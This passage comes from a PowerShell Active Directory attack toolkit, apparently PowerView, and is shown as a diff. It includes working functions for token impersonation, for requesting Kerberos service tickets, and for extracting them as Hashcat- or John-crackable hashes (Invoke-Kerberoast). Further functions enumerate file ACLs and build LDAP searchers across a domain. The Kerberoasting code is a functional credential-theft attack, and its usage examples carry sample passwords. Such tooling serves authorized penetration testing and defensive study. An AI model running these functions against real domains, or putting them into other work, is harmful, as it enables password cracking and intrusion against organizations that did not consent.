"[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" + $LogonTokenHandle +} + + +function Invoke-RevertToSelf { +<# +.SYNOPSIS + +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +.PARAMETER TokenHandle + +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token +#> + + [CmdletBinding()] + Param( + [ValidateNotNull()] + [IntPtr] + $TokenHandle + ) + + if ($PSBoundParameters['TokenHandle']) { + Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" + $Result = $Kernel32::CloseHandle($TokenHandle) + } + + $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" +} + + +function Get-DomainSPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of Hashcat). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +.EXAMPLE + +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR + +Request kerberos service tickets for all users with non-null SPNs and output in JTR format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] + Param ( + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] + [Alias('ServicePrincipalName')] + [String[]] + $SPN, + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'Hashcat', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName + } + else { + $UserSPN = $Object + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' + } + + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { + $UserSPN = $UserSPN[0] + } + + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } + if ($Ticket) { + $TicketByteStream = $Ticket.GetRequest() + } + if ($TicketByteStream) { + $Out = New-Object PSObject + + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1) + # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object + if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { + $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) + $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 + $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) + + # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object + if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { + Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } else { + $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" + $Out | Add-Member Noteproperty 'TicketByteHexStream' $null + } + } else { + Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" + $Hash = $null + $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) + } + + if($Hash) { + # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe... + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" + } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe... + $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + } + + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + $Out + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Invoke-Kerberoast { +<# +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +.DESCRIPTION + +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat . + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'Hashcat'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Invoke-Kerberoast | fl + +Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default). + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR +format instead of Hashcat. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'Hashcat', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-PathAcl { +<# +.SYNOPSIS + +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +.DESCRIPTION + +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +.PARAMETER Path + +Specifies the local or remote path to enumerate the ACLs for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target path. + +.EXAMPLE + +Get-PathAcl "\\SERVER\Share\" + +Returns ACLs for the given UNC share. + +.EXAMPLE + +gci .\test.txt | Get-PathAcl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred + +.INPUTS + +String + +One of more paths to enumerate ACLs for. + +.OUTPUTS + +PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FileACL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + + function Convert-FileRight { + # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + [CmdletBinding()] + Param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | ForEach-Object { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } + ($Permissions | Where-Object {$_}) -join ',' + } + + $ConvertArguments = @{} + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + try { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $ACL = Get-Acl -Path $TargetPath + + $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + $SID = $_.IdentityReference.Value + $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $TargetPath + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name + $Out | Add-Member Noteproperty 'IdentitySID' $SID + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') + $Out + } + } + catch { + Write-Verbose "[Get-PathAcl] error: $_" + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Convert-LDAPProperty { +<# +.SYNOPSIS + +Helper that converts specific LDAP property result fields and outputs +a custom psobject. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Domain* function. + +.PARAMETER Properties + +Properties object to extract out LDAP fields for display. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with LDAP hashtable properties translated. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert all listed sids (i.e. if multiple are listed in sidHistory) + $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } + } + elseif ($_ -eq 'grouptype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum + } + elseif ($_ -eq 'samaccounttype') { + $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'useraccountcontrol') { + $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum + } + elseif ($_ -eq 'ntsecuritydescriptor') { + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } + } + elseif ($_ -eq 'accountexpires') { + if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "NEVER" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + } + try { + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } +} + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local + +Return a searcher for all objects in testlab.local. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + + if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { + # see if we can grab the user DNS logon domain from environment variables + $UserDomain = $ENV:USERDNSDOMAIN + if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { + $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" + } + } + } + elseif ($PSBoundParameters['Credential']) { + # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain + $DomainObject = Get-Domain -Credential $Credential + $BindServer = ($DomainObject.PdcRoleOwner).Name + $TargetDomain = $DomainObject.Name + } + elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { + # see if we can grab the user DNS logon domain from environment variables + $TargetDomain = $ENV:USERDNSDOMAIN + if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { + $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" + } + } + else { + # otherwise, resort to Get-Domain to retrieve the current domain object + write-verbose "get-domain" + $DomainObject = Get-Domain + $BindServer = ($DomainObject.PdcRoleOwner).Name + $TargetDomain = $DomainObject.Name + } + + if ($PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull a logon server from ENV variables + $BindServer = $Server + } + + $SearchString = 'LDAP://' + + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } + } + else { + $DN = $SearchBase + } + } + } + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search base: $SearchString" + + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } + + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } +} + + +function Convert-DNSRecord { +<# +.SYNOPSIS + +Helpers that decodes a binary DNS record blob. + +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Decodes a binary blob representing an Active Directory DNS entry. +Used by Get-DomainDNSRecord. + +Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + +.PARAMETER DNSRecord + +A byte array representing the DNS record. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + 